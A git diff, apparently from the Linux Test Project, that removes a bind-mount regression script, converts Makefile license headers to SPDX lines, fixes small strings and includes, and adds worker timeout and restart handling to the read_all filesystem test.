-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test03} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST03***************"
-tst_resm TINFO "regression: move unshared directory to unshare mountpoint."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of regression/test03 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	mkdir dir1
-	mkdir dir2
-	mount --bind "$disk1" dir1
-	mount --bind "$disk2" dir1/a
-	mount --move dir1 dir2
-
-	check dir2/a "$disk2"
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "regression/test03: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "regression/test03: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir2/a
-	umount dir2
-	umount dir1
-
-	rm -rf dir*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "regression/test03: FAILED: regression: move unshared directory to unshare mountpoint."
-	exit 1
-else
-	tst_resm TPASS "regression/test03: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_fill/Makefile b/testcases/kernel/fs/fs_fill/Makefile
index f0e092b..62eb1fa 100644
--- a/testcases/kernel/fs/fs_fill/Makefile
+++ b/testcases/kernel/fs/fs_fill/Makefile
@@ -1,17 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2017 Linux Test Project
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir              ?= ../../../..
 
diff --git a/testcases/kernel/fs/fs_readonly/test_robind.sh b/testcases/kernel/fs/fs_readonly/test_robind.sh
index 181ae9e..bab2648 100755
--- a/testcases/kernel/fs/fs_readonly/test_robind.sh
+++ b/testcases/kernel/fs/fs_readonly/test_robind.sh
@@ -192,7 +192,7 @@
 
 setup $*
 
-# Executes the tests for differnt FS's
+# Executes the tests for different FS's
 for fstype in $FSTYPES; do
 	if [ "$fstype" = "reiserfs" ]; then
 		opts="-f --journal-size 513 -q"
diff --git a/testcases/kernel/fs/fsx-linux/fsx-linux.c b/testcases/kernel/fs/fsx-linux/fsx-linux.c
index 4a20f4d..64c27a0 100644
--- a/testcases/kernel/fs/fsx-linux/fsx-linux.c
+++ b/testcases/kernel/fs/fsx-linux/fsx-linux.c
@@ -283,7 +283,7 @@
 		if (size_by_seek == (off_t) - 1)
 			prterr("save_buffer: lseek eof");
 		else if (bufferlength > size_by_seek) {
-			warn("save_buffer: .fsxgood file too short... will"
+			warn("save_buffer: .fsxgood file too short... will "
 			     "save 0x%llx bytes instead of 0x%llx\n",
 			     (unsigned long long)size_by_seek,
 			     (unsigned long long)bufferlength);
@@ -300,7 +300,7 @@
 		if (byteswritten == -1)
 			prterr("save_buffer write");
 		else
-			warn("save_buffer: short write, 0x%x bytes instead"
+			warn("save_buffer: short write, 0x%x bytes instead "
 			     "of 0x%llx\n",
 			     (unsigned)byteswritten,
 			     (unsigned long long)bufferlength);
@@ -358,10 +358,10 @@
 		if (n) {
 			prt("\t%#7x\n", n);
 			if (bad)
-				prt("operation# (mod 256) for the bad data"
+				prt("operation# (mod 256) for the bad data "
 				    "may be %u\n", ((unsigned)op & 0xff));
 			else
-				prt("operation# (mod 256) for the bad data"
+				prt("operation# (mod 256) for the bad data "
 				    "unknown, check HOLE and EXTEND ops\n");
 		} else
 			prt("????????????????\n");
@@ -1328,7 +1328,7 @@
 				prterr(fname);
 				warn("main: error on write");
 			} else
-				warn("main: short write, 0x%x bytes instead"
+				warn("main: short write, 0x%x bytes instead "
 				     "of 0x%x\n",
 				     (unsigned)written, maxfilelen);
 			exit(98);
diff --git a/testcases/kernel/fs/ftest/ftest01.c b/testcases/kernel/fs/ftest/ftest01.c
index afad180..31203d6 100644
--- a/testcases/kernel/fs/ftest/ftest01.c
+++ b/testcases/kernel/fs/ftest/ftest01.c
@@ -83,7 +83,7 @@
 static int csize;		/* chunk size */
 static int iterations;		/* # total iterations */
 static int max_size;		/* max file size */
-static int misc_intvl;		/* for doing misc things; 0 ==> no */
+static const int misc_intvl = 10;		/* for doing misc things; 0 ==> no */
 static int nchild;		/* how many children */
 static int fd;			/* file descriptor used by child */
 static int parent_pid;
@@ -139,7 +139,6 @@
 	nchild = 5;
 	csize = K_2;		/* should run with 1, 2, and 4 K sizes */
 	max_size = K_1 * K_1;
-	misc_intvl = 10;
 
 	if (sigset(SIGTERM, term) == SIG_ERR) {
 		tst_brkm(TBROK | TERRNO, NULL, "sigset failed");
diff --git a/testcases/kernel/fs/ftest/ftest05.c b/testcases/kernel/fs/ftest/ftest05.c
index 0bd32e4..8d8e6d4 100644
--- a/testcases/kernel/fs/ftest/ftest05.c
+++ b/testcases/kernel/fs/ftest/ftest05.c
@@ -87,7 +87,7 @@
 static int csize;		/* chunk size */
 static int iterations;		/* # total iterations */
 static off64_t max_size;	/* max file size */
-static int misc_intvl;		/* for doing misc things; 0 ==> no */
+static const int misc_intvl = 10;		/* for doing misc things; 0 ==> no */
 static int nchild;		/* how many children */
 static int fd;			/* file descriptor used by child */
 static int parent_pid;
@@ -147,7 +147,6 @@
 	nchild = 5;
 	csize = K_2;		/* should run with 1, 2, and 4 K sizes */
 	max_size = K_1 * K_1;
-	misc_intvl = 10;
 
 	if (sigset(SIGTERM, term) == SIG_ERR) {
 		tst_brkm(TBROK | TERRNO, NULL,
diff --git a/testcases/kernel/fs/iso9660/Makefile b/testcases/kernel/fs/iso9660/Makefile
index 459b3a4..2291f18 100644
--- a/testcases/kernel/fs/iso9660/Makefile
+++ b/testcases/kernel/fs/iso9660/Makefile
@@ -1,20 +1,5 @@
-#
-#  Copyright (c) 2005-2014 Linux Test Project
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2005-2014 Linux Test Project
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/fs/iso9660/isofs.sh b/testcases/kernel/fs/iso9660/isofs.sh
index 1d2ebe0..dfa4ac7 100755
--- a/testcases/kernel/fs/iso9660/isofs.sh
+++ b/testcases/kernel/fs/iso9660/isofs.sh
@@ -14,8 +14,6 @@
 TST_SETUP=setup
 TST_TESTFUNC=do_test
 
-. tst_test.sh
-
 MAX_DEPTH=3
 MAX_DIRS=4
 
@@ -97,4 +95,5 @@
 	done
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/kernel/fs/lftest/Makefile b/testcases/kernel/fs/lftest/Makefile
index 7102ee5..98b2289 100644
--- a/testcases/kernel/fs/lftest/Makefile
+++ b/testcases/kernel/fs/lftest/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/fs/lftest testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir			?= ../../../..
 
diff --git a/testcases/kernel/fs/lftest/lftest.c b/testcases/kernel/fs/lftest/lftest.c
index 1f363b7..7290fb0 100644
--- a/testcases/kernel/fs/lftest/lftest.c
+++ b/testcases/kernel/fs/lftest/lftest.c
@@ -70,7 +70,7 @@
 
 static struct tst_test test = {
 	.options = (struct tst_option[]) {
-		{"n:", &str_bufnum, "-n COUNT Number of megabytes to write (default 100)"},
+		{"n:", &str_bufnum, "COUNT Number of megabytes to write (default 100)"},
 		{}
 	},
 	.needs_tmpdir = 1,
diff --git a/testcases/kernel/fs/linktest/Makefile b/testcases/kernel/fs/linktest/Makefile
index b3a2c1f..e01b431 100644
--- a/testcases/kernel/fs/linktest/Makefile
+++ b/testcases/kernel/fs/linktest/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/fs/linktest testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir			?= ../../../..
 
diff --git a/testcases/kernel/fs/linktest/linktest.sh b/testcases/kernel/fs/linktest/linktest.sh
index 3386a44..e68ce10 100755
--- a/testcases/kernel/fs/linktest/linktest.sh
+++ b/testcases/kernel/fs/linktest/linktest.sh
@@ -11,8 +11,6 @@
 TST_PARSE_ARGS=parse_args
 TST_USAGE=usage
 
-. tst_test.sh
-
 hard_links=1000
 soft_links=1000
 
@@ -72,4 +70,5 @@
 	rm -rf hlink.$$ slink.$$
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/kernel/fs/proc/proc01.c b/testcases/kernel/fs/proc/proc01.c
index a59e2b6..5c44fcb 100644
--- a/testcases/kernel/fs/proc/proc01.c
+++ b/testcases/kernel/fs/proc/proc01.c
@@ -97,10 +97,12 @@
 	{"read", "/proc/self/mem", EIO},
 	{"read", "/proc/self/task/[0-9]*/mem", EIO},
 	{"read", "/proc/self/attr/*", EINVAL},
+	{"read", "/proc/self/attr/selinux/*", EINVAL},
 	{"read", "/proc/self/attr/smack/*", EINVAL},
 	{"read", "/proc/self/attr/apparmor/*", EINVAL},
 	{"read", "/proc/self/task/[0-9]*/attr/*", EINVAL},
 	{"read", "/proc/self/task/[0-9]*/attr/smack/*", EINVAL},
+	{"read", "/proc/self/task/[0-9]*/attr/selinux/*", EINVAL},
 	{"read", "/proc/self/task/[0-9]*/attr/apparmor/*", EINVAL},
 	{"read", "/proc/self/ns/*", EINVAL},
 	{"read", "/proc/self/task/[0-9]*/ns/*", EINVAL},
@@ -139,13 +141,9 @@
 #ifdef HAVE_LIBSELINUX_DEVEL
 static const char lsm_should_work[][PATH_MAX] = {
 	"/proc/self/attr/*",
+	"/proc/self/attr/selinux/*",
 	"/proc/self/task/[0-9]*/attr/*",
-	""
-};
-
-/* Place holder for none of LSM is detected. */
-#else
-static const char lsm_should_work[][PATH_MAX] = {
+	"/proc/self/task/[0-9]*/attr/selinux/*",
 	""
 };
 #endif
diff --git a/testcases/kernel/fs/quota_remount/Makefile b/testcases/kernel/fs/quota_remount/Makefile
index 350bdc1..5c383b9 100644
--- a/testcases/kernel/fs/quota_remount/Makefile
+++ b/testcases/kernel/fs/quota_remount/Makefile
@@ -1,20 +1,5 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2001
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/fs/quota_remount/quota_remount_test01.sh b/testcases/kernel/fs/quota_remount/quota_remount_test01.sh
index e84716c..25d9f8f 100755
--- a/testcases/kernel/fs/quota_remount/quota_remount_test01.sh
+++ b/testcases/kernel/fs/quota_remount/quota_remount_test01.sh
@@ -14,8 +14,6 @@
 TST_TESTFUNC=do_test
 TST_MIN_KVER="2.6.26"
 
-. tst_test.sh
-
 do_setup()
 {
 	if [ ! -d /proc/sys/fs/quota ]; then
@@ -32,7 +30,7 @@
 do_clean()
 {
 	[ "$mounted" ] || return
-	tst_umount $MNTDIR
+	tst_umount "$PWD/$MNTDIR"
 	mounted=
 }
 
@@ -77,4 +75,5 @@
 	do_clean
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/kernel/fs/racer/fs_racer_file_rename.sh b/testcases/kernel/fs/racer/fs_racer_file_rename.sh
index 7e2e6b1..1509036 100755
--- a/testcases/kernel/fs/racer/fs_racer_file_rename.sh
+++ b/testcases/kernel/fs/racer/fs_racer_file_rename.sh
@@ -25,5 +25,5 @@
 while true ; do
     file=$(($RANDOM%$MAX))
     new_file=$((($file + 1)%$MAX))
-    mv $DIR/$file $DIR/$new_file 2> /dev/null
+    mv -f $DIR/$file $DIR/$new_file 2> /dev/null
 done
diff --git a/testcases/kernel/fs/read_all/Makefile b/testcases/kernel/fs/read_all/Makefile
index 5416b23..0e6dec2 100644
--- a/testcases/kernel/fs/read_all/Makefile
+++ b/testcases/kernel/fs/read_all/Makefile
@@ -1,17 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2017 Linux Test Project
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/fs/read_all/read_all.c b/testcases/kernel/fs/read_all/read_all.c
index a412322..266678e 100644
--- a/testcases/kernel/fs/read_all/read_all.c
+++ b/testcases/kernel/fs/read_all/read_all.c
@@ -1,14 +1,14 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Copyright (c) 2017-2022 Richard Palethorpe <rpalethorpe@suse.com>
  */
 /*
  * Perform a small read on every file in a directory tree.
  *
- * Useful for testing file systems like proc, sysfs and debugfs or anything
- * which exposes a file like API so long as it respects O_NONBLOCK. This test
- * is not concerned if a particular file in one of these file systems conforms
- * exactly to its specific documented behavior. Just whether reading from that
+ * Useful for testing file systems like proc, sysfs and debugfs or
+ * anything which exposes a file like API. This test is not concerned
+ * if a particular file in one of these file systems conforms exactly
+ * to its specific documented behavior. Just whether reading from that
  * file causes a serious error such as a NULL pointer dereference.
  *
  * It is not required to run this as root, but test coverage will be much
@@ -26,8 +26,11 @@
  * an IPC stress test on systems with large numbers of weak cores. This can be
  * overridden with the 'w' parameters.
  */
+#include <signal.h>
 #include <sys/types.h>
 #include <sys/stat.h>
+#include <sys/wait.h>
+#include <fnmatch.h>
 #include <lapi/fnmatch.h>
 #include <stdlib.h>
 #include <stdio.h>
@@ -37,13 +40,15 @@
 #include <unistd.h>
 #include <string.h>
 #include <limits.h>
-#include <fnmatch.h>
 #include <semaphore.h>
 #include <ctype.h>
 #include <pwd.h>
 #include <grp.h>
 
+#include "tst_atomic.h"
+#include "tst_safe_clocks.h"
 #include "tst_test.h"
+#include "tst_timer.h"
 
 #define QUEUE_SIZE 16384
 #define BUFFER_SIZE 1024
@@ -55,11 +60,15 @@
 	int front;
 	int back;
 	char data[QUEUE_SIZE];
+	char popped[BUFFER_SIZE];
 };
 
 struct worker {
+	int i;
 	pid_t pid;
 	struct queue *q;
+	int last_seen;
+	unsigned int kill_sent:1;
 };
 
 enum dent_action {
@@ -80,17 +89,30 @@
 static long max_workers = 15;
 static struct worker *workers;
 static char *drop_privs;
+static char *str_worker_timeout;
+static int worker_timeout;
+static int timeout_warnings_left = 15;
 
 static char *blacklist[] = {
 	NULL, /* reserved for -e parameter */
-	"/sys/power/wakeup_count",
 	"/sys/kernel/debug/*",
 	"/sys/devices/platform/*/eeprom",
 	"/sys/devices/platform/*/nvmem",
 	"/sys/*/cpu??*(?)/*",	/* cpu* entries with 2 or more digits */
 };
 
-static int queue_pop(struct queue *q, char *buf)
+static long long epoch;
+
+static int atomic_timestamp(void)
+{
+	struct timespec now;
+
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC_RAW, &now);
+
+	return tst_timespec_to_us(now) - epoch;
+}
+
+static int queue_pop(struct queue *q)
 {
 	int i = q->front, j = 0;
 
@@ -100,7 +122,7 @@
 		return 0;
 
 	while (q->data[i]) {
-		buf[j] = q->data[i];
+		q->popped[j] = q->data[i];
 
 		if (++j >= BUFFER_SIZE - 1)
 			tst_brk(TBROK, "Buffer is too small for path");
@@ -108,7 +130,7 @@
 		 i = (i + 1) % QUEUE_SIZE;
 	}
 
-	buf[j] = '\0';
+	q->popped[j] = '\0';
 	tst_atomic_store((i + 1) % QUEUE_SIZE, &q->front);
 
 	return 1;
@@ -161,7 +183,7 @@
 {
 	int i;
 
-	for (i = 0; i < MIN(count, MAX_DISPLAY); i++)
+	for (i = 0; i < MIN(count, (ssize_t)MAX_DISPLAY); i++)
 		if (!isprint(buf[i]))
 			buf[i] = ' ';
 
@@ -186,62 +208,68 @@
 	return 0;
 }
 
-static void read_test(const char *path)
+static void worker_heartbeat(const int worker)
+{
+	tst_atomic_store(atomic_timestamp(), &workers[worker].last_seen);
+}
+
+static int worker_elapsed(const int worker)
+{
+	struct worker *const w = workers + worker;
+
+	return atomic_timestamp() - tst_atomic_load(&w->last_seen);
+}
+
+static int worker_ttl(const int worker)
+{
+	return MAX(0, worker_timeout - worker_elapsed(worker));
+}
+
+static void read_test(const int worker, const char *const path)
 {
 	char buf[BUFFER_SIZE];
 	int fd;
 	ssize_t count;
+	const pid_t pid = workers[worker].pid;
+	int elapsed;
 
 	if (is_blacklisted(path))
 		return;
 
 	if (verbose)
-		tst_res(TINFO, "%s(%s)", __func__, path);
+		tst_res(TINFO, "Worker %d: %s(%s)", pid, __func__, path);
 
 	fd = open(path, O_RDONLY | O_NONBLOCK);
 	if (fd < 0) {
-		if (!quiet)
-			tst_res(TINFO | TERRNO, "open(%s)", path);
+		if (!quiet) {
+			tst_res(TINFO | TERRNO, "Worker %d (%d): open(%s)",
+				pid, worker, path);
+		}
 		return;
 	}
 
+	worker_heartbeat(worker);
 	count = read(fd, buf, sizeof(buf) - 1);
+	elapsed = worker_elapsed(worker);
+
 	if (count > 0 && verbose) {
 		sanitize_str(buf, count);
-		tst_res(TINFO, "read(%s, buf) = %zi, buf = %s",
-			path, count, buf);
+		tst_res(TINFO,
+			"Worker %d (%d): read(%s, buf) = %zi, buf = %s, elapsed = %dus",
+			pid, worker, path, count, buf, elapsed);
 	} else if (!count && verbose) {
-		tst_res(TINFO, "read(%s) = EOF", path);
+		tst_res(TINFO,
+			"Worker %d (%d): read(%s) = EOF, elapsed = %dus",
+			pid, worker, path, elapsed);
 	} else if (count < 0 && !quiet) {
-		tst_res(TINFO | TERRNO, "read(%s)", path);
+		tst_res(TINFO | TERRNO,
+			"Worker %d (%d): read(%s), elapsed = %dus",
+			pid, worker, path, elapsed);
 	}
 
 	SAFE_CLOSE(fd);
 }
 
-static int worker_run(struct worker *self)
-{
-	char buf[BUFFER_SIZE];
-	struct sigaction term_sa = {
-		.sa_handler = SIG_IGN,
-		.sa_flags = 0,
-	};
-	struct queue *q = self->q;
-
-	sigaction(SIGTTIN, &term_sa, NULL);
-
-	while (1) {
-		if (!queue_pop(q, buf))
-			break;
-
-		read_test(buf);
-	}
-
-	queue_destroy(q, 1);
-	tst_flush();
-	return 0;
-}
-
 static void maybe_drop_privs(void)
 {
 	struct passwd *nobody;
@@ -266,6 +294,39 @@
 		tst_brk(TBROK | TTERRNO, "Failed to use nobody uid");
 }
 
+static int worker_run(int worker)
+{
+	struct sigaction term_sa = {
+		.sa_handler = SIG_IGN,
+		.sa_flags = 0,
+	};
+	struct worker *const self = workers + worker;
+	struct queue *q = self->q;
+
+	sigaction(SIGTTIN, &term_sa, NULL);
+	maybe_drop_privs();
+	self->pid = getpid();
+
+	if (!worker_ttl(self->i)) {
+		tst_brk(TBROK,
+			"Worker timeout is too short; restarts take >%dus",
+			worker_elapsed(self->i));
+	}
+
+	while (1) {
+		worker_heartbeat(worker);
+
+		if (!queue_pop(q))
+			break;
+
+		read_test(worker, q->popped);
+	}
+
+	queue_destroy(q, 1);
+	tst_flush();
+	return 0;
+}
+
 static void spawn_workers(void)
 {
 	int i;
@@ -274,41 +335,135 @@
 	memset(workers, 0, worker_count * sizeof(*workers));
 
 	for (i = 0; i < worker_count; i++) {
+		wa[i].i = i;
 		wa[i].q = queue_init();
+		wa[i].last_seen = atomic_timestamp();
 		wa[i].pid = SAFE_FORK();
-		if (!wa[i].pid) {
-			maybe_drop_privs();
-			exit(worker_run(wa + i));
-		}
+		if (!wa[i].pid)
+			exit(worker_run(i));
 	}
 }
 
-static void work_push_retry(int worker, const char *buf)
+static void restart_worker(const int worker)
 {
-	int i, ret, worker_min, worker_max, usleep_time = 100;
+	struct worker *const w = workers + worker;
+	int wstatus, ret, i, q_len;
 
-	if (worker < 0) {
-		/* pick any, try -worker first */
-		worker_min = worker * (-1);
-		worker_max = worker_count;
-	} else {
-		/* keep trying worker */
-		worker_min = worker;
-		worker_max = worker + 1;
+	if (!w->kill_sent) {
+		SAFE_KILL(w->pid, SIGKILL);
+		w->kill_sent = 1;
+		worker_heartbeat(worker);
 	}
-	i = worker_min;
 
-	for (;;) {
-		ret = queue_push(workers[i].q, buf);
-		if (ret == 1)
-			break;
+	ret = waitpid(w->pid, &wstatus, WNOHANG);
 
-		if (++i >= worker_max) {
-			i = worker_min;
-			if (usleep_time < 100000)
-				usleep_time *= 2;
-			usleep(usleep_time);
+	if (!ret) {
+		if (worker_ttl(worker) > 0)
+			return;
+
+		if (!quiet || timeout_warnings_left) {
+			tst_res(TINFO,
+				"Worker %d (%d): Timeout waiting after kill",
+				w->pid, worker);
 		}
+	} else if (ret != w->pid) {
+		tst_brk(TBROK | TERRNO, "Worker %d (%d): waitpid = %d",
+			w->pid, worker, ret);
+	}
+
+	w->kill_sent = 0;
+
+	if (!w->q->popped[0]) {
+		tst_brk(TBROK,
+			"Worker %d (%d): Timed out, but doesn't appear to be reading anything",
+			w->pid, worker);
+	}
+
+	if (!quiet || timeout_warnings_left) {
+		tst_res(TINFO, "Worker %d (%d): Last popped '%s'",
+			w->pid, worker, w->q->popped);
+	}
+
+	/* Make sure the queue length and semaphore match. Threre is a
+	 * race in qeue_pop where the semaphore can be decremented
+	 * then the worker killed before updating q->front
+	 */
+	q_len = 0;
+	i = w->q->front;
+	while (i != w->q->back) {
+		if (!w->q->data[i])
+			q_len++;
+
+		i = (i + 1) % QUEUE_SIZE;
+	}
+
+	ret = sem_destroy(&w->q->sem);
+	if (ret == -1)
+		tst_brk(TBROK | TERRNO, "sem_destroy");
+	ret = sem_init(&w->q->sem, 1, q_len);
+	if (ret == -1)
+		tst_brk(TBROK | TERRNO, "sem_init");
+
+	worker_heartbeat(worker);
+	w->pid = SAFE_FORK();
+
+	if (!w->pid)
+		exit(worker_run(worker));
+}
+
+static void check_timeout_warnings_limit(void)
+{
+	if (!quiet)
+		return;
+
+	timeout_warnings_left--;
+
+	if (timeout_warnings_left)
+		return;
+
+	tst_res(TINFO,
+		"Silencing timeout warnings; consider increasing LTP_RUNTIME_MUL or removing -q");
+}
+
+static int try_push_work(const int worker, const char *buf)
+{
+	int ret = 0;
+	int elapsed;
+	struct worker *const w = workers + worker;
+
+	if (w->kill_sent) {
+		restart_worker(worker);
+		return 0;
+	}
+
+	ret = queue_push(w->q, buf);
+	if (ret)
+		return 1;
+
+	elapsed = worker_elapsed(worker);
+
+	if (elapsed > worker_timeout) {
+		if (!quiet || timeout_warnings_left) {
+			tst_res(TINFO,
+				"Worker %d (%d): Stuck for %dus, restarting it",
+				w->pid, worker, elapsed);
+			check_timeout_warnings_limit();
+		}
+		restart_worker(worker);
+	}
+
+	return 0;
+}
+
+static void push_work(const int worker, const char *buf)
+{
+	int sleep_time = 1;
+
+	while (!try_push_work(worker, buf)) {
+		const int ttl = worker_ttl(worker);
+
+		sleep_time = MIN(2 * sleep_time, ttl);
+		usleep(sleep_time);
 	}
 }
 
@@ -322,8 +477,16 @@
 
 	for (i = 0; i < worker_count; i++) {
 		if (workers[i].q)
-			work_push_retry(i, stop_code);
+			push_work(i, stop_code);
 	}
+}
+
+static void destroy_workers(void)
+{
+	int i;
+
+	if (!workers)
+		return;
 
 	for (i = 0; i < worker_count; i++) {
 		if (workers[i].q) {
@@ -333,19 +496,41 @@
 	}
 }
 
-static void rep_sched_work(const char *path, int rep)
+static int sched_work(const int first_worker,
+		      const char *path, int repetitions)
 {
 	int i, j;
+	int min_ttl = worker_timeout, sleep_time = 1;
+	int pushed, workers_pushed = 0;
 
-	for (i = j = 0; i < rep; i++, j++) {
+	for (i = 0, j = first_worker; i < repetitions; j++) {
 		if (j >= worker_count)
 			j = 0;
-		work_push_retry(-j, path);
+
+		if (j == first_worker && !workers_pushed) {
+			sleep_time = MIN(2 * sleep_time, min_ttl);
+			usleep(sleep_time);
+			min_ttl = worker_timeout;
+		}
+
+		if (j == first_worker)
+			workers_pushed = 0;
+
+		pushed = try_push_work(j, path);
+		i += pushed;
+		workers_pushed += pushed;
+
+		if (!pushed)
+			min_ttl = MIN(min_ttl, worker_ttl(j));
 	}
+
+	return j;
 }
 
 static void setup(void)
 {
+	struct timespec now;
+
 	if (tst_parse_int(str_reads, &reads, 1, INT_MAX))
 		tst_brk(TBROK,
 			"Invalid reads (-r) argument: '%s'", str_reads);
@@ -366,13 +551,65 @@
 		tst_brk(TBROK, "The directory argument (-d) is required");
 
 	if (!worker_count)
-		worker_count = MIN(MAX(tst_ncpus() - 1, 1), max_workers);
+		worker_count = MIN(MAX(tst_ncpus() - 1, 1L), max_workers);
 	workers = SAFE_MALLOC(worker_count * sizeof(*workers));
+
+	if (tst_parse_int(str_worker_timeout, &worker_timeout, 1, INT_MAX)) {
+		tst_brk(TBROK,
+			"Invalid worker timeout (-t) argument: '%s'",
+			str_worker_count);
+	}
+
+	if (worker_timeout) {
+		tst_res(TINFO, "Worker timeout forcibly set to %dms",
+			worker_timeout);
+	} else {
+		worker_timeout = 10 * tst_remaining_runtime();
+		tst_res(TINFO, "Worker timeout set to 10%% of max_runtime: %dms",
+			worker_timeout);
+	}
+	worker_timeout *= 1000;
+
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC_RAW, &now);
+	epoch = tst_timespec_to_us(now);
+}
+
+static void reap_children(void)
+{
+	int status, bad_exit = 0;
+	pid_t pid;
+
+	for (;;) {
+		pid = wait(&status);
+
+		if (pid > 0) {
+			if (!WIFEXITED(status))
+				bad_exit = 1;
+
+			continue;
+		}
+
+		if (errno == ECHILD)
+			break;
+
+		if (errno == EINTR)
+			continue;
+
+		tst_brk(TBROK | TERRNO, "wait() failed");
+	}
+
+	if (!bad_exit)
+		return;
+
+	tst_res(TINFO,
+		"Zombie workers detected; consider increasing LTP_RUNTIME_MUL");
 }
 
 static void cleanup(void)
 {
 	stop_workers();
+	reap_children();
